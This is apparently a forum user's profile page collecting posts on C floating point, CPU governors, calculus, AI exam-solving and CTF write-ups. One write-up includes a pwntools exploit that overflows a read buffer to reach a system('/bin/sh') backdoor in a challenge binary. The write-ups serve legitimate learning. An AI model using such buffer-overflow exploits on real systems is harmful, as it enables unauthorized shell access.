jmp_0x0

  • 注册于 2020年1月12日
  • 这个可以理解为表示浮点数的问题

    如果你判断一下r == 0.0,你会发现结果也是true。实际上在C里面+0.0和-0.0是同一样东西。当然根本原因是符号位的存在,但是似乎在显示运算后的整型数的时候就没有这个情况。在 StackOverFlow上的一个回答 指出浮点数零的符号其实是刻意保留的。

    至于解决方案,这样咯(虽然看起来有些蠢)

    if (r == 0.0) { r = 0.0; }
    • 0x0001 站长说的应该是CyanogenMod(CM)里面的设置吧,又找到了一个让我的老爷机开机的理由哈哈

      • busybox下面还有一个问题就是即使CPU占有为0%,芯片的温度依然高居不下。目前的解决方案是修改cpu的调度器,将在/etc/init.d/rcS文件中追加:

        echo ondemand > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
        echo ondemand > /sys/devices/system/cpu/cpu1/cpufreq/scaling_governor
        echo ondemand > /sys/devices/system/cpu/cpu2/cpufreq/scaling_governor
        echo ondemand > /sys/devices/system/cpu/cpu3/cpufreq/scaling_governor

        其中可用的调度器可以通过cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors查到,有一下几种

        performance: 最大性能 powersave: 最高节能 ondemand: 快升快降 interactive: 快升慢降 conservative: 慢升快降

        buxybox默认用的performance的策略就是始终让CPU处于最高频率1.8Ghz,所以温度才会一直拉满。

        • 假期再来挖一把

          之前远程调试的问题其实在armbian或者ubuntu下就完全没有问题,毕竟开发用这两个系统才合适

          另外关于硬件解码的驱动还是有办法解决的,在官方提供的Android驱动下有民间整合的硬件解码驱动,所以只要用一般的视频播放接口即可实现,可惜不是底层的驱动。不过官方也放出了各种芯片平台通用的linux驱动,并且比较让人高兴的是官方终于带上了文档。

          编译驱动的过程可能会出错,按这篇教程来全志 CedarX 库linux安装(不得不吐槽一下这个居然不能编译成arm64,浪费了H6这样的架构)。静态编译会让编解码库找不到插件路径报错(不影响使用),改一下GetLocalPathFromProcessMaps或者AddVEncPlugin/AddVDPlugin这些函数即可

          还有一个看上去比较靠谱的源码,连播放器demo都带上了。但是目前在我本机上编译失败,原因似乎是本机少了arm上的alsa库,而且大概因为这些库在busybox上移植也比较麻烦(毕竟别人的目标平台还是ubuntu)

          在Github上找找还是有不少好东西的,比如说别人针对开发板制作的ubuntu精简版。剩下的代码不是没有文档的就是处于实验性质的,姑且当作参考

        • 最严谨的做法当然还是用积分中值定理
          ζ,η[0,r],   I=1πr2ex2y2cos(x+y)=1πr2eζ2η2cos(ζ+η)πr2\exist \zeta,\eta\in[0,r], \ \ \ I=\frac{1}{\pi r^2}\iint{e^{x^2-y^2}cos(x+y)} =\frac{1}{\pi r^2}\cdot e^{\zeta^2-\eta^2}cos(\zeta+\eta)\pi r^2\\ r0r\to0时,ζ,η0\zeta,\eta\to0,故
          limr0I=limr0eζ2η2cos(ζ+η)=e0cos(0)=1\lim_{r \to0}I=\lim_{r \to0}e^{\zeta^2-\eta^2}cos(\zeta+\eta)=e^{0}cos(0)=1
          但我第一次看到这题的时候还不知道有积分中值定理,不过我还是想到一种略微不严谨但比较简单的解法

          我们令f(x,y)=ex2y2cos(x+y)f(x,y)=e^{x^2-y^2}cos(x+y)那么在D:x2+y2=r2D:x^2+y^2=r^2上的二重积分f(x,y)\iint f(x,y)实际上就是用以z轴为中心轴,半径为r的圆柱面去截被积函数所得的体积
          r0r\to0时,圆柱面截出的几何体即为一个圆柱体。可以这样理解,实际上r不趋于0时圆柱面截出的几何体上方不是一个圆平面,但是r趋于0时其上方为曲面无穷小的一块,并且在(0,0)处对x和y的偏导数都是0,因此可以视为平面。此时的圆柱体可以看作一条在z轴上的直线,底面与顶面分别汇聚成一个点,高为被积函数在(0,0)处的值。画个图帮助一下想象

          接下来事情就变得很明显了,这个圆柱体体积除以πr2\pi r^2就是圆柱体的高f(0,0)f(0,0),所以原式的值就是f(0,0)f(0,0)

          我看我们也有不少人在群里问老师这道题,当然答复就是积分中值定理(话说我们老师也没有讲过这样东西,我想得到用它?)

          • 以往我们做题都是先了解到了某个知识点,然后借此去做题,在不断地训练下形成一种“模式”,就像0x0001所说的。这种“模式”的最终效果是让我们很快地把题目解出来。

            这种所谓“模式”可以说其实是不求甚解的情况,它要解释你为什么这样做而不是用其他办法。就像现在高数积分的换元,有时候看过程真的有些步骤是莫名其妙的,但是确实题目也有特征可以让你认为应该使用这种换元方法。据我使用的两款软件PhotoMath微软数学(这两个已经可以说有自动解纯计算数学题的能力了)的体验来说,他们在这方面做得也不怎么好。

            回到楼主的物理题上, 对于曾经出现过的题目来讲,只要把答案搬上去就可以了,这也就是现在“搜题”软件的做法。但是没有出现过的题目怎么办?如果说那种“模式”可以从过往的题目中获取,那可能对于机器来讲只是分析的过程会复杂一些,把一个大问题拆分成几个有“模式”的小问题也是能够实现的。

            那还有一种题目,也是在高考中会出现的难题。它看上去完全不属于任何一种“模式”之下(虽然据我所知,全国卷高考的物理出题都是从课本题目改编过来的,但是能魔改到什么程度大家有目共睹),这个时候是真正考验考生对知识点的理解程度了。但是怎么做到让机器真正理解那些知识点....

            只靠做题积累的经验并不管用,我们考生能在后期疯狂刷题也是建立在对课本知识的理解之上。上面这一点算是机器解题的痛点之一,其他的盲点还有语义分析(读题读准确了吗?),数学和物理大题里的分类讨论(什么时候要分类?怎么分类?),情景题(有时候那些“废话”真的不是废话,机器哪里来的实际生活体验?)等等

            当然也不是真的毫无希望,只是实现过程非常困难,而且也确实有人曾经实现过:
            人工智能|数学机器人AI-MATHS首次成功公开模拟高考
            机器人挑战高考数学卷拿134分 最难题仅用40秒

            只不过实现的细节没有公开(我怀疑它们八成效果靠吹,其实都是小猿搜题离线版)

            以上是一个完全不懂机器学习的菜鸡我个人的一些拙见,希望对楼主有帮助

            • 话说这个积分在积分表里面有,不过想起大一高数老师说的话😂

              套公式完全体现不出做题人的水平

              其实定积分反而更加好算,毕竟算出来个数就好了,至于积分出来的表达式可以有很多种,对应的换元方法也有很多种。
              然而这道题可以不换元做
              02πx2+1 dx=xx2+102π02πx dx2+1=xx2+102π02πx2+11x2+1 dx=xx2+102π02πx2+1 dx+02π1x2+1 dx\begin{aligned} \int_{0}^{2\pi}{\sqrt{x^2+1}}\ dx &=x\sqrt{x^2+1}\bigg|_{0}^{2\pi}-\int_{0}^{2\pi}x\ d\sqrt{x^2+1}\\ &=x\sqrt{x^2+1}\bigg|_{0}^{2\pi}-\int_{0}^{2\pi}\frac{x^2+1-1}{\sqrt{x^2+1}}\ dx\\ &=x\sqrt{x^2+1}\bigg|_{0}^{2\pi}-\int_{0}^{2\pi}{\sqrt{x^2+1}}\ dx+\int_{0}^{2\pi}\frac{1}{\sqrt{x^2+1}}\ dx\\ \end{aligned}
              这样够简单吧?把02πx2+1 dx\int_{0}^{2\pi}{\sqrt{x^2+1}}\ dx移过去,并且02π1x2+1 dx=ln(x+x2+1)02π\int_{0}^{2\pi}\frac{1}{\sqrt{x^2+1}}\ dx=ln(x+\sqrt{x^2+1})\bigg|_{0}^{2\pi},然后就算出结果来了

              • Windows Terminal 是真的香
                不过WSL2好像还是在预览版的吧?

                • 至于有人说上面的题目错了,实际上在经过上面这些认真分析之后,你会发现bin文件末尾的字符串并不能完全代表它输入的内容。我感觉那个encrypted_text的混乱真的是出题人有意为之,毕竟别的输入都是一行一个字符串,到了密文这里就是一行被打散成几个字符串。并且从结果看来,除了字符串组合不按顺序之外,还有个字符串还是没有用的,并且有个字符'7'在那串连续的文字中根本没有出现过。而它是以按下单个按键的形式出现。但是这并不是像官方wp里面说的观察字符串就可以得出答案。

                  怎么说,首先是上面说的各种手法对抗静态分析,对于这种少出现的架构来讲显得太恶毒了点。其次是完全没有防止动态分析,理论上只要我手上有块Arduino Leonardo,把固件烧进去再接到PC上这道题直接出答案(反正出题人就是要被暴打的)

                • 密码机器(Misc)

                  关键词:hex固件格式,Arduino,BadUSB

                  这道题算是被吐槽得最多的,到比赛结束也没人做出来,最后官方还提示“需要少量逆向工作”(一度认为出题人用了什么神仙工具)

                  下载文件打开发现是hex格式的固件,转成bin文件才能分析,格式区别:Hex、bin、axf、elf格式文件小结 。得到bin固件之后首先我们要确定硬件,用二进制编辑器打开查看字符串,或者直接用strings命令提取字符串,看到"Arduino LLC Arduino Leonardo"字样,推测是Arduino Leonardo板子的固件。

                  搜了一下发现这题确实有先例(PolishDuck),据说背景是BadUSB。在bin文件末尾还发现了一串看上去是python的代码,看上去是AES解密,估计就是payload了。接着抄下来运行,发现结果完全不对。于是只能硬着头皮逆固件逻辑,看看是不是字符串顺序不对

                  然后要开始逆向必须先确定指令架构,在网上搜索可以找到板的CPU是ATMega32U4,AVR8架构。拖进IDA,处理器类型选AVR

                  弹出来的窗口选ROM,不用创建RAM段。然后是CPU型号,选ATMega32即可。需要型号的原因应该是每种芯片的中断向量表不一样。这个芯片有专门的IDA配置文件,可以准确地显示每个中断函数。不过我们这里不分析硬件,所以只需要知道复位中断的位置就可以了,图示就是复位后跳转到中断服务函数

                  第三步就是找程序的入口点,即main函数。在复位后执行的代码末端可以看到调用了函数sub_AB9,如无意外它应该就是main函数

                  然后当你兴冲冲地按下F5的时候发现并不能直接反编译,可能这就是它难做的原因之一吧。最后我是用了ghidra反编译,并且由于Arduino有自己的API,对照上面BadUSB源码中用到的Keyboard库可以把所有的对应的函数都标出来。最后可以通过函数调用分析出它到底输入了哪些字符(反正比赛的时候知道这些都没用,还是菜到做不出来)

                • Count(Pwn)

                  关键词:read越界写入

                  比赛的时候差点给逆向劝退了,pwn的题看都没有看。没想到这道题难度居然跟新生赛差不多,可能是因为用了另一种CPU架构的缘故?

                  先上IDA看一下,前面就是个200轮的算数游戏,用python里的pwntools+eval即可实现

                  最后那里留了个小后门,大概意思是有两个变量,用read把输入的放到一个变量里面,然后看看第二个变量是不是等于另外一个数,符合条件的话就会调用函数。那个sub_400920里面调用了system("/bin/sh"),就是用来起shell的

                  看v9和v8在栈上的位置,可以发现两者位置差了0x64即100个byte,然后上面的read又能够读110个byte,也就意味着我可以越界写入。所以我只要从第101个byte开始写304305682进去,就可以触发条件,至于前面100个byte的话随便就好了

                  有一个坑就是这是aarch64的ELF,不能在x86上直接跑(不服?树莓派上装pwntools玩)。但是pwntools支持在qemu上运行ELF,按官方文档装好就行了。下面是exp

                  from pwn import *
                  import re
                  
                  p=process("./pwn")
                  for _ in range(200):
                  	eq=p.recvuntil("input answer:")
                  	eq=eq.replace("there have 200 levels ~Math: ","").replace("= ???input answer:","")
                  	#防止官方发送搅屎代码,虽然这次是不可能的
                  	#m=re.match("\d+ \* \d+ \+ \d+ \+ \d+ ",eq)
                  	#if m != None and len(m.group(0))==len(eq):
                  	num = str(eval(eq))
                  	p.sendline(num)
                  	p.recvline()
                  
                  payload='A'*0x64 + p32(0x12235612)
                  p.sendline(payload)
                  
                  p.interactive()
                • limx0(1sin2xcos2xx2)=limx0(1sin2x1x2)+limx0(sin2xx2) =limx0(x2sin2xx2sin2x)+1 =limx0(x2sin2xx4)+1 limx0(x2sin2xx4)=limx0(2xsin2x4x3)=limx0(22cos2x12x2) =limx0(2x)212x2=13 limx0(1sin2xcos2xx2)=43\lim_{x\to0}(\frac{1}{sin^2x}-\frac{cos^2x}{x^2}) =\lim_{x\to0}(\frac{1}{sin^2x}-\frac{1}{x^2})+\lim_{x\to0}(\frac{sin^2x}{x^2})\\ \ \\ =\lim_{x\to0}(\frac{x^2-sin^2x}{x^2sin^2x})+1\\ \ \\ =\lim_{x\to0}(\frac{x^2-sin^2x}{x^4})+1\\ \ \\ \lim_{x\to0}(\frac{x^2-sin^2x}{x^4})=\lim_{x\to0}(\frac{2x-sin2x}{4x^3}) =\lim_{x\to0}(\frac{2-2cos2x}{12x^2})\\ \ \\ =\lim_{x\to0}\frac{(2x)^2}{12x^2}=\frac{1}{3}\\ \ \\ \lim_{x\to0}(\frac{1}{sin^2x}-\frac{cos^2x}{x^2})=\frac{4}{3}
                  这样?应该还有一个办法是用泰勒展开吧。所以说,通用的方法是什么?一洛到底吗😂
                  还有@0x0001 站长,为什么我的多行公式好像粘在一起了... 嗯?好像换多一次行就好了

                  • 大概是一个月之前的比赛了,反正当时除了签到题之外没能做出其他题(哭

                    然后最近打算认真重新做一遍,然后发现有些题还是不会做(哭*2,说到底还是太菜了),所以这里只记录了几道简单题的过程。也欢迎参过赛的小伙伴们贴一下自己的解题思路一起讨论

                    GAME(Reverse)

                    关键词:python bytecode,python dis.dis()

                    上网搜一下文件中的内容,比如说“LOAD_CONST”,发现是由dis.dis()生成的python的字节码,实际上是一种中间状态的可读代码。真正的字节码文件的话应该是pyc格式,有现成的工具可以把它反编译回python代码。但是python的dis模块却没有现成工具,如果不想专门自己写工具的话只能手动逆。这种类型的题的旧例

                    参考官方给出的文档可以得知每条指令的含义,并且它们维护了一个简单的栈,操作符就是针对TOS(Top Of Stack)和TOS1(TOS下面的数据)进行操作。除了check0里的那个神奇的yield之外基本上没有什么困难的地方,很快就可以写出源代码

                    arr0=[249,91,149,113,16,91,53,41]
                    arr1=[43,1,6,69,20,62,6,44,24,113,6,35,0,3,6,44,20,22,127,60]
                    arr2=[90,100,87.109,86,108,86,105,90,104,88,102]
                    '''
                    def genxpr():
                    	for x in range(0,38):
                    		yield ord(x) in range(32,128)
                    '''
                    def check0(s):
                        #check0函数怎么写都是怪怪的,官方wp的意思是,它是用来判断每个字符ascii是否在32到128之间
                    	#return all(genxpr(iter(s)))
                    	pass
                    
                    def check1(s):
                    	if not len(s) <100:
                    		return False
                    	if not (((len(s)*len(s)) % 777 )^ 233 == 513):
                    		return False
                    	return True
                    	pass
                    def check2(s):
                    	if  ((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128 + ord(
                                s[5]) == 3533889469877L:
                    		if s[-1]==125:
                    			return True
                    	return False
                    	pass
                    def check3(s):
                    	arr=map(ord,s)
                    	a=arr[slice(6,30,3)]
                    	for i in range(len(a)):
                    		if arr0[i]!=((a[i]*17684+372511)%257):
                    			return False
                    	b=arr[slice(-2,33,-1)]*5
                    	c=map(lambda x:x[0]^x[1],zip(b,arr[7:27]))
                    	if c != arr1:
                    		return False
                    	p=0
                    	for i in range(28,34):
                    		if arr2[p]!=((arr[i]+107)/16+77)
                    			return False
                    		if arr2[1+p]!=((arr[i]+117)%16+99)
                    			return False
                    		p=p+2
                    	return True
                    	pass
                    def raw_input():
                    	pass
                    
                    if check0(flag) and check1(flag) and check2(flag) and check3(flag):
                    	print('ok')
                    else
                    	print('no')

                    check1就是花式告诉你字符串的长度为39,check2由于你已经知道了开头是"flag{",结尾是"}",同样解个方程就会发现第六个字符是'5'

                    check3就复杂一点,第一个循环内的是判断切片的字符是否满足17684*a[i]+372511=arr0[i]+257r,由于已知r和a[i]为正整数,并且由a[i]为可打印字符可知其范围,直接写脚本爆破即可。第二个循环就是把数组里面的数字两两异或,并且上面解出的内容也会参与运算,所以可以借此解出其余字符(这段太烦琐了,我选择直接爆破)。第三个循环比第一个更简单,直接就可以算出结果。更具体地分析这里有。

                  • 我也来段code~
                    按字节翻转int,其实就是在做大小端转换,比如一个大端机器上的数据通过网络传到小端机器就可能要做转换

                    int rotate_int(int num){
                        int num_rot = 0;
                        char* pNum = (char*)&num;
                        char* pNum_rot = (char*)&num_rot;
                    
                        for(int i=0; i < sizeof(num_rot); i++){
                            pNum_rot[i] = pNum[sizeof(num_rot)-i-1];
                        }
                        return num_rot;
                    }
                  • 0x0001 所以说我发现了一个已经在新版里面修复的Bug?😂社区真的是个除虫大师

                    • 0x0001 哈哈哈站长辛苦了😁
                      对于这种小Bug或许试试看在Github提个issue,看看社区开发者怎么反应,也算是留个记录,毕竟这是公版Flarum的小问题
                      当然有个最简单的办法就是换浏览器,也不是说非要用Firefox不可😂

                    © 2018-2025 0xFFFF